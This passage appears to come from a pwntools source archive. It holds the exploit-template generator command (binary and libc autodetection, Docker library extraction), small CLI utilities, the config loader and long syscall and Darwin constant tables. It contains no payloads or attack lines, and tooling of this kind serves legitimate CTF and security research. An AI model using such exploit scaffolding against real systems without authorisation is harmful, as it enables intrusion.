\'~/.config/pwntools/templates/pwnup.mako\', if it exists. ' 'Check \'%s\' for the default template shipped with pwntools.' % os.path.join(printable_data_path, "templates", "pwnup.mako")) parser.add_argument('--no-auto', help='Do not automatically detect missing binaries', action='store_false', dest='auto') def get_docker_image_libraries(): """Tries to retrieve challenge libraries from a Docker image built from the Dockerfile in the current working directory. The libraries are retrieved by parsing the output of running ldd on /bin/sh. Supports regular Docker images as well as jail images. """ with log.progress("Extracting challenge libraries from Docker image") as progress: if not which("docker"): progress.failure("docker command not found") return None, None # maps jail image name to the root directory of the child image jail_image_to_chroot_dir = { "pwn.red/jail": "/srv", } dockerfile = open("Dockerfile", "r").read() jail = None chroot_dir = "/" for jail_image in jail_image_to_chroot_dir: if re.search(r"^FROM %s" % jail_image, dockerfile, re.MULTILINE): jail = jail_image chroot_dir = jail_image_to_chroot_dir[jail_image] break try: progress.status("Building image") image_sha = subprocess.check_output(["docker", "build", "-q", "."], stderr=subprocess.PIPE, shell=False).decode().strip() progress.status("Retrieving library paths") ldd_command = ["-c", "chroot %s /bin/sh -c 'ldd /bin/sh'" % chroot_dir] ldd_output = subprocess.check_output([ "docker", "run", "--rm", "--entrypoint", "/bin/sh", ] + (["--privileged"] if jail else []) + [ image_sha, ] + ldd_command, stderr=subprocess.PIPE, shell=False ).decode() libc, ld = None, None libc_basename, ld_basename = None, None for lib_path in parse_ldd_output(ldd_output): if "libc." in lib_path: libc = lib_path libc_basename = os.path.basename(lib_path) if "ld-" in lib_path: ld = lib_path ld_basename = os.path.basename(lib_path) if not (libc and ld): progress.failure("Could not find libraries") return None, None progress.status("Copying libraries to current directory") for filename, basename in zip((libc, ld), (libc_basename, ld_basename)): cat_command = ["-c", "chroot %s /bin/sh -c '/bin/cat %s'" % (chroot_dir, filename)] contents = subprocess.check_output([ "docker", "run", "--rm", "--entrypoint", "/bin/sh", ] + (["--privileged"] if jail else []) + [ image_sha ] + cat_command, stderr=subprocess.PIPE, shell=False ) write(basename, contents) except subprocess.CalledProcessError as e: print(e.stderr.decode()) log.error("docker failed with status: %d" % e.returncode) progress.success("Retrieved libraries from Docker image") return libc_basename, ld_basename def detect_missing_binaries(args): """Automatically detects challenge binaries and libraries in the current directory. This function scans the current directory for executable files, libc, and ld libraries. If a Dockerfile is present and no libraries are found, it attempts to extract them from the Docker image, but only if the binary is not statically linked. Args: args: Argument namespace containing exe and libc attributes. Returns: tuple: A pair of (executable_path, libc_path) where either may be None if not found. """ log.info("Automatically detecting challenge binaries...") # look for challenge binary, libc, and ld in current directory exe, libc, ld = args.exe, args.libc, None has_dockerfile = False other_files = [] for filename in os.listdir("."): if not os.path.isfile(filename): continue if not libc and ('libc-' in filename or 'libc.' in filename): libc = filename elif not ld and 'ld-' in filename: ld = filename elif filename == "Dockerfile": has_dockerfile = True else: if os.access(filename, os.X_OK): other_files.append(filename) if not exe: if len(other_files) == 1: exe = other_files[0] elif len(other_files) > 1: log.warning("Failed to find challenge binary. There are multiple binaries in the current directory: %s", other_files) # Check if the binary is statically linked before trying to extract libraries from Docker is_statically_linked = False if exe: try: binary = ELF(exe, checksec=False) is_statically_linked = binary.statically_linked if is_statically_linked: log.info("Binary is statically linked, no need for external libraries") except Exception as e: log.warning("Could not check if binary is statically linked: %s", e) # Only extract libraries from Docker if the binary is not statically linked if has_dockerfile and exe and not (libc or ld) and not is_statically_linked: libc, ld = get_docker_image_libraries() if exe != args.exe: log.success("Found challenge binary %r", exe) if libc != args.libc: log.success("Found libc binary %r", libc) return exe, libc def main(args): lookup = TemplateLookup( directories = [ os.path.expanduser('~/.config/pwntools/templates/'), os.path.join(pwnlib.data.path, 'templates') ], module_directory = None ) # For the SSH scenario, check that the binary is at the # same path on the remote host. if args.user: if not (args.path or args.exe): log.error("Must specify --path or a exe") with ssh(args.user, args.host, args.port or 22, args.password or None) as s: try: remote_file = args.path or args.exe s.download(remote_file) except Exception: log.warning("Could not download file %r, opening a shell", remote_file) s.interactive() return if not args.exe: args.exe = os.path.basename(args.path) if args.auto and (args.exe is None or args.libc is None): args.exe, args.libc = detect_missing_binaries(args) if args.template: template = Template(filename=args.template) # Failing on invalid file is ok else: template = lookup.get_template('pwnup.mako') output = template.render(args.exe, args.host, args.port, args.user, args.password, args.libc, args.path, args.quiet) # Fix Mako formatting bs output = re.sub('\n\n\n', '\n\n', output) # Colorize the output if it's a TTY if args.color == 'always' or (args.color == 'auto' and sys.stdout.isatty()): from pygments import highlight from pygments.formatters import TerminalFormatter from pygments.lexers.python import PythonLexer output = highlight(output, PythonLexer(), TerminalFormatter()) print(output) # If redirected to a file, make the resulting script executable if not sys.stdout.isatty(): try: os.fchmod(sys.stdout.fileno(), 0o700) except OSError: pass if __name__ == '__main__': pwnlib.commandline.common.main(__file__, main) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/unhex.py000066400000000000000000000016671507273764500234760ustar00rootroot00000000000000from __future__ import absolute_import from __future__ import division import argparse import sys from string import whitespace from pwnlib.commandline import common from pwnlib.util.fiddling import unhex parser = common.parser_commands.add_parser( 'unhex', help = 'Decodes hex-encoded data provided on the command line or via stdin.', description = 'Decodes hex-encoded data provided on the command line or via stdin.' ) parser.add_argument('hex', nargs='*', help='Hex bytes to decode') def main(args): try: o = getattr(sys.stdout, 'buffer', sys.stdout) if not args.hex: s = getattr(sys.stdin, 'buffer', sys.stdin).read().translate(None, whitespace.encode('ascii')) o.write(unhex(s)) else: o.write(unhex(''.join(args.hex))) except TypeError as e: sys.stderr.write(str(e) + '\n') raise if __name__ == '__main__': common.main(__file__, main) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/update.py000066400000000000000000000014211507273764500236150ustar00rootroot00000000000000#!/usr/bin/env python from __future__ import absolute_import from __future__ import division import subprocess import pwnlib.args pwnlib.args.free_form = False from pwn import * from pwnlib.commandline import common p = common.parser_commands.add_parser( 'update', help = 'Check for pwntools updates', description = 'Check for pwntools updates' ) p.add_argument('--install', action='store_true', help=''' Install the update automatically. ''') p.add_argument('--pre', action='store_true', help=''' Check for pre-releases. ''') def main(a): result = pwnlib.update.perform_check(prerelease=a.pre) if result and a.install: subprocess.check_call(result, shell=False) if __name__ == '__main__': pwnlib.commandline.common.main(__file__, main) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/version.py000066400000000000000000000016141507273764500240240ustar00rootroot00000000000000#!/usr/bin/env python from __future__ import absolute_import from __future__ import division import os import subprocess import pwnlib.args pwnlib.args.free_form = False from pwn import * from pwnlib.commandline import common parser = common.parser_commands.add_parser( 'version', help = 'Pwntools version', description = 'Pwntools version' ) def main(a): version = pwnlib.version git_root = os.path.dirname(os.path.dirname(os.path.dirname(__file__))) if os.path.exists(os.path.join(git_root, '.git')): gitver = subprocess.check_output(['git', '-C', git_root, 'log', '-1', '--format=%h (%cr)']) branch = subprocess.check_output(['git', '-C', git_root, 'rev-parse', '--abbrev-ref', 'HEAD']) version = '%s-%s-%s' % (version, branch.decode().strip(), gitver.decode()) log.info("Pwntools v%s" % version) if __name__ == '__main__': pwnlib.commandline.common.main(__file__, main) Gallopsled-pwntools-3ad86ec/pwnlib/config.py000066400000000000000000000041171507273764500213170ustar00rootroot00000000000000# -*- coding: utf-8 -*- """Allows per-user and per-host configuration of Pwntools settings. The list of configurable options includes all of the logging symbols and colors, as well as all of the default values on the global context object. The configuration file is read from ``~/.pwn.conf``, ``$XDG_CONFIG_HOME/pwn.conf`` (``$XDG_CONFIG_HOME`` defaults to ``~/.config``, per XDG Base Directory Specification), and ``/etc/pwn.conf``. The configuration file is only read in ``from pwn import *`` mode, and not when used in library mode (``import pwnlib``). To read the configuration file in library mode, invoke :func:`.config.initialize`. The ``context`` section supports complex types, at least as far as is supported by ``pwnlib.util.safeeval.expr``. :: [log] success.symbol=😎 error.symbol=☠ info.color=blue [context] adb_port=4141 randomize=1 timeout=60 terminal=['x-terminal-emulator', '-e'] [update] interval=7 """ from __future__ import absolute_import from __future__ import division from six.moves import configparser import os registered_configs = {} def register_config(section, function): """Registers a configuration section. Arguments: section(str): Named configuration section function(callable): Function invoked with a dictionary of ``{option: value}`` for the entries in the section. """ registered_configs[section] = function def initialize(): """Read the configuration files.""" from pwnlib.log import getLogger log = getLogger(__name__) xdg_config_home = os.environ.get('XDG_CONFIG_HOME', os.path.expanduser("~/.config")) c = configparser.ConfigParser() c.read(['/etc/pwn.conf', os.path.join(xdg_config_home, 'pwn.conf'), os.path.expanduser('~/.pwn.conf')]) for section in c.sections(): if section not in registered_configs: log.warn("Unknown configuration section %r", section) continue settings = dict(c.items(section)) registered_configs[section](settings) Gallopsled-pwntools-3ad86ec/pwnlib/constants/000077500000000000000000000000001507273764500215115ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/LICENSE.txt000066400000000000000000000003741507273764500233400ustar00rootroot00000000000000The file __init__.py is covered by the same license as the majority of this project, that is an MIT license. The remaining files of this directory and all subdirectories are covered by the terms decribed in the file: pwnlib/data/includes/LICENSE.txt Gallopsled-pwntools-3ad86ec/pwnlib/constants/__init__.py000066400000000000000000000117751507273764500236350ustar00rootroot00000000000000"""Module containing constants extracted from header files. The purpose of this module is to provide quick access to constants from different architectures and operating systems. The constants are wrapped by a convenience class that allows accessing the name of the constant, while performing all normal mathematical operations on it. Example: >>> str(constants.freebsd.SYS_stat) 'SYS_stat' >>> int(constants.freebsd.SYS_stat) 188 >>> hex(constants.freebsd.SYS_stat) '0xbc' >>> 0 | constants.linux.i386.SYS_stat 106 >>> 0 + constants.linux.amd64.SYS_stat 4 The submodule ``freebsd`` contains all constants for FreeBSD, while the constants for Linux have been split up by architecture. The variables of the submodules will be "lifted up" by setting the :data:`pwnlib.context.arch` or :data:`pwnlib.context.os` in a manner similar to what happens in :mod:`pwnlib.shellcraft`. Example: >>> with context.local(os = 'freebsd'): ... print(int(constants.SYS_stat)) 188 >>> with context.local(os = 'linux', arch = 'i386'): ... print(int(constants.SYS_stat)) 106 >>> with context.local(os = 'linux', arch = 'amd64'): ... print(int(constants.SYS_stat)) 4 >>> with context.local(arch = 'i386', os = 'linux'): ... print(constants.SYS_execve + constants.PROT_WRITE) 13 >>> with context.local(arch = 'amd64', os = 'linux'): ... print(constants.SYS_execve + constants.PROT_WRITE) 61 >>> with context.local(arch = 'amd64', os = 'linux'): ... print(constants.SYS_execve + constants.PROT_WRITE) 61 """ from __future__ import absolute_import import importlib import sys from types import ModuleType from pwnlib.constants.constant import Constant from pwnlib.context import context from pwnlib.util import safeeval class ConstantsModule(ModuleType): """ ModuleType specialization in order to automatically route queries down to the correct module based on the current context arch / os. """ Constant = Constant possible_submodules = set(context.oses) | set(context.architectures) def __init__(self, name, module): super(ConstantsModule, self).__init__(name) self.__dict__.update(module.__dict__) self._env_store = {} def guess(self): if context.os in self.__name__ and context.arch in self.__name__: return self mod = self mod = getattr(mod, context.os, mod) mod = getattr(mod, context.arch, mod) return mod def __dir__(self): return self.__all__ def __getattr__(self, key): # Special case for __all__, we want to return the contextually # relevant module. if key == '__all__': return list(self.guess().__dict__.keys()) # Special case for all other special properties which aren't defined if key.endswith('__'): raise AttributeError # This code is only hit if the attribute doesn't already exist. # Attempt to import a module by the specified name. if key in self.possible_submodules: try: mod = importlib.import_module('.' + key, self.__name__) mod = ConstantsModule(mod.__name__, mod) setattr(self, key, mod) sys.modules[mod.__name__] = mod return mod except ImportError: pass else: mod = self.guess() if mod is not self and hasattr(mod, key): return getattr(mod, key) raise AttributeError("'module' object has no attribute '%s'" % key) def eval(self, string): """eval(string) -> value Evaluates a string in the context of values of this module. Example: >>> with context.local(arch = 'i386', os = 'linux'): ... print(13 == constants.eval('SYS_execve + PROT_WRITE')) True >>> with context.local(arch = 'amd64', os = 'linux'): ... print(61 == constants.eval('SYS_execve + PROT_WRITE')) True >>> with context.local(arch = 'amd64', os = 'linux'): ... print(61 == constants.eval('SYS_execve + PROT_WRITE')) True """ if not isinstance(string, str): return string simple = getattr(self, string, None) if simple is not None: return simple key = context.os, context.arch if key not in self._env_store: self._env_store[key] = {key: getattr(self, key) for key in dir(self) if not key.endswith('__')} val = safeeval.values(string, self._env_store[key]) # if the expression is not assembly-safe, it is not so vital to preserve it if set(string) & (set(bytearray(range(32)).decode()) | set('"#$\',.;@[\\]`{}')): string = val return Constant('(%s)' % string, val) # To prevent garbage collection tether = sys.modules[__name__] # Create the module structure sys.modules[__name__] = ConstantsModule(__name__, tether) Gallopsled-pwntools-3ad86ec/pwnlib/constants/android000077700000000000000000000000001507273764500241312linuxustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/cgc/000077500000000000000000000000001507273764500222455ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/cgc/__init__.py000066400000000000000000000000001507273764500243440ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/cgc/aarch64.py000077700000000000000000000000001507273764500255332thumb.pyustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/cgc/alpha.py000077700000000000000000000000001507273764500253702thumb.pyustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/cgc/amd64.py000077700000000000000000000000001507273764500252162thumb.pyustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/cgc/arm.py000077700000000000000000000000001507273764500250622thumb.pyustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/cgc/i386.py000077700000000000000000000000001507273764500247742thumb.pyustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/cgc/ia64.py000077700000000000000000000000001507273764500250462thumb.pyustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/cgc/mips.py000077700000000000000000000000001507273764500252532thumb.pyustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/cgc/powerpc.py000077700000000000000000000000001507273764500257622thumb.pyustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/cgc/powerpc64.py000077700000000000000000000000001507273764500261342thumb.pyustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/cgc/s390.py000077700000000000000000000000001507273764500250012thumb.pyustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/cgc/s390x.py000077700000000000000000000000001507273764500251712thumb.pyustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/cgc/sparc.py000077700000000000000000000000001507273764500254132thumb.pyustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/cgc/sparc64.py000077700000000000000000000000001507273764500255652thumb.pyustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/cgc/thumb.py000066400000000000000000000016071507273764500237420ustar00rootroot00000000000000from pwnlib.constants.constant import Constant terminate = Constant('terminate', 1) SYS_terminate = Constant('SYS_terminate', 1) __NR_terminate = Constant('__NR_terminate', 1) transmit = Constant('transmit', 2) SYS_transmit = Constant('SYS_transmit', 2) __NR_transmit = Constant('__NR_transmit', 2) receive = Constant('receive', 3) SYS_receive = Constant('SYS_receive', 3) __NR_receive = Constant('__NR_receive', 3) fdwait = Constant('fdwait', 4) SYS_fdwait = Constant('SYS_fdwait', 4) __NR_fdwait = Constant('__NR_fdwait', 4) allocate = Constant('allocate', 5) SYS_allocate = Constant('SYS_allocate', 5) __NR_allocate = Constant('__NR_allocate', 5) deallocate = Constant('deallocate', 6) SYS_deallocate = Constant('SYS_deallocate', 6) __NR_deallocate = Constant('__NR_deallocate', 6) random = Constant('random', 7) SYS_random = Constant('SYS_random', 7) __NR_random = Constant('__NR_random', 7) Gallopsled-pwntools-3ad86ec/pwnlib/constants/constant.py000066400000000000000000000005241507273764500237150ustar00rootroot00000000000000try: base = long # workaround for py2 except NameError: base = int class Constant(base): def __new__(cls, s, i): obj = super(Constant, cls).__new__(cls, i) obj.s = s return obj def __str__(self): return self.s def __repr__(self): return 'Constant(%r, %#x)' % (self.s,int(self)) Gallopsled-pwntools-3ad86ec/pwnlib/constants/darwin/000077500000000000000000000000001507273764500227755ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/darwin/__init__.py000066400000000000000000000000001507273764500250740ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/darwin/aarch64.py000066400000000000000000005171431507273764500246120ustar00rootroot00000000000000from pwnlib.constants.constant import Constant ITIMER_REAL = Constant('ITIMER_REAL',0) ITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1) ITIMER_PROF = Constant('ITIMER_PROF',2) DST_NONE = Constant('DST_NONE',0) DST_USA = Constant('DST_USA',1) DST_AUST = Constant('DST_AUST',2) DST_WET = Constant('DST_WET',3) DST_MET = Constant('DST_MET',4) DST_EET = Constant('DST_EET',5) DST_CAN = Constant('DST_CAN',6) CHILD_MAX = Constant('CHILD_MAX',266) LINK_MAX = Constant('LINK_MAX',32767) MAX_CANON = Constant('MAX_CANON',1024) MAX_INPUT = Constant('MAX_INPUT',1024) NAME_MAX = Constant('NAME_MAX',255) NGROUPS_MAX = Constant('NGROUPS_MAX',16) OPEN_MAX = Constant('OPEN_MAX',10240) PATH_MAX = Constant('PATH_MAX',1024) PIPE_BUF = Constant('PIPE_BUF',512) BC_BASE_MAX = Constant('BC_BASE_MAX',99) BC_DIM_MAX = Constant('BC_DIM_MAX',2048) BC_SCALE_MAX = Constant('BC_SCALE_MAX',99) BC_STRING_MAX = Constant('BC_STRING_MAX',1000) CHARCLASS_NAME_MAX = Constant('CHARCLASS_NAME_MAX',14) COLL_WEIGHTS_MAX = Constant('COLL_WEIGHTS_MAX',2) EQUIV_CLASS_MAX = Constant('EQUIV_CLASS_MAX',2) EXPR_NEST_MAX = Constant('EXPR_NEST_MAX',32) LINE_MAX = Constant('LINE_MAX',2048) RE_DUP_MAX = Constant('RE_DUP_MAX',255) NZERO = Constant('NZERO',0) GETNCNT = Constant('GETNCNT',3) GETPID = Constant('GETPID',4) GETVAL = Constant('GETVAL',5) GETALL = Constant('GETALL',6) GETZCNT = Constant('GETZCNT',7) SETVAL = Constant('SETVAL',8) SETALL = Constant('SETALL',9) SEM_UNDO = Constant('SEM_UNDO',0o010000) SEM_A = Constant('SEM_A',0o0200) SEM_R = Constant('SEM_R',0o0400) PSEMNAMLEN = Constant('PSEMNAMLEN',31) PSEM_NONE = Constant('PSEM_NONE',1) PSEM_DEFINED = Constant('PSEM_DEFINED',2) PSEM_ALLOCATED = Constant('PSEM_ALLOCATED',4) PSEM_MAPPED = Constant('PSEM_MAPPED',8) PSEM_INUSE = Constant('PSEM_INUSE',0x10) PSEM_REMOVED = Constant('PSEM_REMOVED',0x20) PSEM_INCREATE = Constant('PSEM_INCREATE',0x40) PSEM_INDELETE = Constant('PSEM_INDELETE',0x80) FSOPT_NOFOLLOW = Constant('FSOPT_NOFOLLOW',0x00000001) FSOPT_NOINMEMUPDATE = Constant('FSOPT_NOINMEMUPDATE',0x00000002) FSOPT_REPORT_FULLSIZE = Constant('FSOPT_REPORT_FULLSIZE',0x00000004) FSOPT_PACK_INVAL_ATTRS = Constant('FSOPT_PACK_INVAL_ATTRS',0x00000008) FSOPT_ATTR_CMN_EXTENDED = Constant('FSOPT_ATTR_CMN_EXTENDED',0x00000020) FSOPT_RETURN_REALDEV = Constant('FSOPT_RETURN_REALDEV',0x00000200) FSOPT_NOFOLLOW_ANY = Constant('FSOPT_NOFOLLOW_ANY',0x00000800) SEARCHFS_MAX_SEARCHPARMS = Constant('SEARCHFS_MAX_SEARCHPARMS',4096) ATTR_BIT_MAP_COUNT = Constant('ATTR_BIT_MAP_COUNT',5) VOL_CAPABILITIES_FORMAT = Constant('VOL_CAPABILITIES_FORMAT',0) VOL_CAPABILITIES_INTERFACES = Constant('VOL_CAPABILITIES_INTERFACES',1) VOL_CAPABILITIES_RESERVED1 = Constant('VOL_CAPABILITIES_RESERVED1',2) VOL_CAPABILITIES_RESERVED2 = Constant('VOL_CAPABILITIES_RESERVED2',3) ATTR_MAX_BUFFER = Constant('ATTR_MAX_BUFFER',8192) VOL_CAP_FMT_PERSISTENTOBJECTIDS = Constant('VOL_CAP_FMT_PERSISTENTOBJECTIDS',0x00000001) VOL_CAP_FMT_SYMBOLICLINKS = Constant('VOL_CAP_FMT_SYMBOLICLINKS',0x00000002) VOL_CAP_FMT_HARDLINKS = Constant('VOL_CAP_FMT_HARDLINKS',0x00000004) VOL_CAP_FMT_JOURNAL = Constant('VOL_CAP_FMT_JOURNAL',0x00000008) VOL_CAP_FMT_JOURNAL_ACTIVE = Constant('VOL_CAP_FMT_JOURNAL_ACTIVE',0x00000010) VOL_CAP_FMT_NO_ROOT_TIMES = Constant('VOL_CAP_FMT_NO_ROOT_TIMES',0x00000020) VOL_CAP_FMT_SPARSE_FILES = Constant('VOL_CAP_FMT_SPARSE_FILES',0x00000040) VOL_CAP_FMT_ZERO_RUNS = Constant('VOL_CAP_FMT_ZERO_RUNS',0x00000080) VOL_CAP_FMT_CASE_SENSITIVE = Constant('VOL_CAP_FMT_CASE_SENSITIVE',0x00000100) VOL_CAP_FMT_CASE_PRESERVING = Constant('VOL_CAP_FMT_CASE_PRESERVING',0x00000200) VOL_CAP_FMT_FAST_STATFS = Constant('VOL_CAP_FMT_FAST_STATFS',0x00000400) VOL_CAP_FMT_2TB_FILESIZE = Constant('VOL_CAP_FMT_2TB_FILESIZE',0x00000800) VOL_CAP_FMT_OPENDENYMODES = Constant('VOL_CAP_FMT_OPENDENYMODES',0x00001000) VOL_CAP_FMT_HIDDEN_FILES = Constant('VOL_CAP_FMT_HIDDEN_FILES',0x00002000) VOL_CAP_FMT_PATH_FROM_ID = Constant('VOL_CAP_FMT_PATH_FROM_ID',0x00004000) VOL_CAP_FMT_NO_VOLUME_SIZES = Constant('VOL_CAP_FMT_NO_VOLUME_SIZES',0x00008000) VOL_CAP_FMT_DECMPFS_COMPRESSION = Constant('VOL_CAP_FMT_DECMPFS_COMPRESSION',0x00010000) VOL_CAP_FMT_64BIT_OBJECT_IDS = Constant('VOL_CAP_FMT_64BIT_OBJECT_IDS',0x00020000) VOL_CAP_FMT_DIR_HARDLINKS = Constant('VOL_CAP_FMT_DIR_HARDLINKS',0x00040000) VOL_CAP_FMT_DOCUMENT_ID = Constant('VOL_CAP_FMT_DOCUMENT_ID',0x00080000) VOL_CAP_FMT_WRITE_GENERATION_COUNT = Constant('VOL_CAP_FMT_WRITE_GENERATION_COUNT',0x00100000) VOL_CAP_FMT_NO_IMMUTABLE_FILES = Constant('VOL_CAP_FMT_NO_IMMUTABLE_FILES',0x00200000) VOL_CAP_FMT_NO_PERMISSIONS = Constant('VOL_CAP_FMT_NO_PERMISSIONS',0x00400000) VOL_CAP_FMT_SHARED_SPACE = Constant('VOL_CAP_FMT_SHARED_SPACE',0x00800000) VOL_CAP_FMT_VOL_GROUPS = Constant('VOL_CAP_FMT_VOL_GROUPS',0x01000000) VOL_CAP_FMT_SEALED = Constant('VOL_CAP_FMT_SEALED',0x02000000) VOL_CAP_FMT_CLONE_MAPPING = Constant('VOL_CAP_FMT_CLONE_MAPPING',0x04000000) VOL_CAP_INT_SEARCHFS = Constant('VOL_CAP_INT_SEARCHFS',0x00000001) VOL_CAP_INT_ATTRLIST = Constant('VOL_CAP_INT_ATTRLIST',0x00000002) VOL_CAP_INT_NFSEXPORT = Constant('VOL_CAP_INT_NFSEXPORT',0x00000004) VOL_CAP_INT_READDIRATTR = Constant('VOL_CAP_INT_READDIRATTR',0x00000008) VOL_CAP_INT_EXCHANGEDATA = Constant('VOL_CAP_INT_EXCHANGEDATA',0x00000010) VOL_CAP_INT_COPYFILE = Constant('VOL_CAP_INT_COPYFILE',0x00000020) VOL_CAP_INT_ALLOCATE = Constant('VOL_CAP_INT_ALLOCATE',0x00000040) VOL_CAP_INT_VOL_RENAME = Constant('VOL_CAP_INT_VOL_RENAME',0x00000080) VOL_CAP_INT_ADVLOCK = Constant('VOL_CAP_INT_ADVLOCK',0x00000100) VOL_CAP_INT_FLOCK = Constant('VOL_CAP_INT_FLOCK',0x00000200) VOL_CAP_INT_EXTENDED_SECURITY = Constant('VOL_CAP_INT_EXTENDED_SECURITY',0x00000400) VOL_CAP_INT_USERACCESS = Constant('VOL_CAP_INT_USERACCESS',0x00000800) VOL_CAP_INT_MANLOCK = Constant('VOL_CAP_INT_MANLOCK',0x00001000) VOL_CAP_INT_NAMEDSTREAMS = Constant('VOL_CAP_INT_NAMEDSTREAMS',0x00002000) VOL_CAP_INT_EXTENDED_ATTR = Constant('VOL_CAP_INT_EXTENDED_ATTR',0x00004000) VOL_CAP_INT_CLONE = Constant('VOL_CAP_INT_CLONE',0x00010000) VOL_CAP_INT_SNAPSHOT = Constant('VOL_CAP_INT_SNAPSHOT',0x00020000) VOL_CAP_INT_RENAME_SWAP = Constant('VOL_CAP_INT_RENAME_SWAP',0x00040000) VOL_CAP_INT_RENAME_EXCL = Constant('VOL_CAP_INT_RENAME_EXCL',0x00080000) VOL_CAP_INT_RENAME_OPENFAIL = Constant('VOL_CAP_INT_RENAME_OPENFAIL',0x00100000) VOL_CAP_INT_RENAME_SECLUDE = Constant('VOL_CAP_INT_RENAME_SECLUDE',0x00200000) VOL_CAP_INT_ATTRIBUTION_TAG = Constant('VOL_CAP_INT_ATTRIBUTION_TAG',0x00400000) VOL_CAP_INT_PUNCHHOLE = Constant('VOL_CAP_INT_PUNCHHOLE',0x00800000) ATTR_CMN_NAME = Constant('ATTR_CMN_NAME',0x00000001) ATTR_CMN_DEVID = Constant('ATTR_CMN_DEVID',0x00000002) ATTR_CMN_FSID = Constant('ATTR_CMN_FSID',0x00000004) ATTR_CMN_OBJTYPE = Constant('ATTR_CMN_OBJTYPE',0x00000008) ATTR_CMN_OBJTAG = Constant('ATTR_CMN_OBJTAG',0x00000010) ATTR_CMN_OBJID = Constant('ATTR_CMN_OBJID',0x00000020) ATTR_CMN_OBJPERMANENTID = Constant('ATTR_CMN_OBJPERMANENTID',0x00000040) ATTR_CMN_PAROBJID = Constant('ATTR_CMN_PAROBJID',0x00000080) ATTR_CMN_SCRIPT = Constant('ATTR_CMN_SCRIPT',0x00000100) ATTR_CMN_CRTIME = Constant('ATTR_CMN_CRTIME',0x00000200) ATTR_CMN_MODTIME = Constant('ATTR_CMN_MODTIME',0x00000400) ATTR_CMN_CHGTIME = Constant('ATTR_CMN_CHGTIME',0x00000800) ATTR_CMN_ACCTIME = Constant('ATTR_CMN_ACCTIME',0x00001000) ATTR_CMN_BKUPTIME = Constant('ATTR_CMN_BKUPTIME',0x00002000) ATTR_CMN_FNDRINFO = Constant('ATTR_CMN_FNDRINFO',0x00004000) ATTR_CMN_OWNERID = Constant('ATTR_CMN_OWNERID',0x00008000) ATTR_CMN_GRPID = Constant('ATTR_CMN_GRPID',0x00010000) ATTR_CMN_ACCESSMASK = Constant('ATTR_CMN_ACCESSMASK',0x00020000) ATTR_CMN_FLAGS = Constant('ATTR_CMN_FLAGS',0x00040000) ATTR_CMN_GEN_COUNT = Constant('ATTR_CMN_GEN_COUNT',0x00080000) ATTR_CMN_DOCUMENT_ID = Constant('ATTR_CMN_DOCUMENT_ID',0x00100000) ATTR_CMN_USERACCESS = Constant('ATTR_CMN_USERACCESS',0x00200000) ATTR_CMN_EXTENDED_SECURITY = Constant('ATTR_CMN_EXTENDED_SECURITY',0x00400000) ATTR_CMN_UUID = Constant('ATTR_CMN_UUID',0x00800000) ATTR_CMN_GRPUUID = Constant('ATTR_CMN_GRPUUID',0x01000000) ATTR_CMN_FILEID = Constant('ATTR_CMN_FILEID',0x02000000) ATTR_CMN_PARENTID = Constant('ATTR_CMN_PARENTID',0x04000000) ATTR_CMN_FULLPATH = Constant('ATTR_CMN_FULLPATH',0x08000000) ATTR_CMN_ADDEDTIME = Constant('ATTR_CMN_ADDEDTIME',0x10000000) ATTR_CMN_ERROR = Constant('ATTR_CMN_ERROR',0x20000000) ATTR_CMN_DATA_PROTECT_FLAGS = Constant('ATTR_CMN_DATA_PROTECT_FLAGS',0x40000000) ATTR_CMN_RETURNED_ATTRS = Constant('ATTR_CMN_RETURNED_ATTRS',0x80000000) ATTR_CMN_VALIDMASK = Constant('ATTR_CMN_VALIDMASK',0xFFFFFFFF) ATTR_CMN_SETMASK = Constant('ATTR_CMN_SETMASK',0x51C7FF00) ATTR_CMN_VOLSETMASK = Constant('ATTR_CMN_VOLSETMASK',0x00006700) ATTR_VOL_FSTYPE = Constant('ATTR_VOL_FSTYPE',0x00000001) ATTR_VOL_SIGNATURE = Constant('ATTR_VOL_SIGNATURE',0x00000002) ATTR_VOL_SIZE = Constant('ATTR_VOL_SIZE',0x00000004) ATTR_VOL_SPACEFREE = Constant('ATTR_VOL_SPACEFREE',0x00000008) ATTR_VOL_SPACEAVAIL = Constant('ATTR_VOL_SPACEAVAIL',0x00000010) ATTR_VOL_MINALLOCATION = Constant('ATTR_VOL_MINALLOCATION',0x00000020) ATTR_VOL_ALLOCATIONCLUMP = Constant('ATTR_VOL_ALLOCATIONCLUMP',0x00000040) ATTR_VOL_IOBLOCKSIZE = Constant('ATTR_VOL_IOBLOCKSIZE',0x00000080) ATTR_VOL_OBJCOUNT = Constant('ATTR_VOL_OBJCOUNT',0x00000100) ATTR_VOL_FILECOUNT = Constant('ATTR_VOL_FILECOUNT',0x00000200) ATTR_VOL_DIRCOUNT = Constant('ATTR_VOL_DIRCOUNT',0x00000400) ATTR_VOL_MAXOBJCOUNT = Constant('ATTR_VOL_MAXOBJCOUNT',0x00000800) ATTR_VOL_MOUNTPOINT = Constant('ATTR_VOL_MOUNTPOINT',0x00001000) ATTR_VOL_NAME = 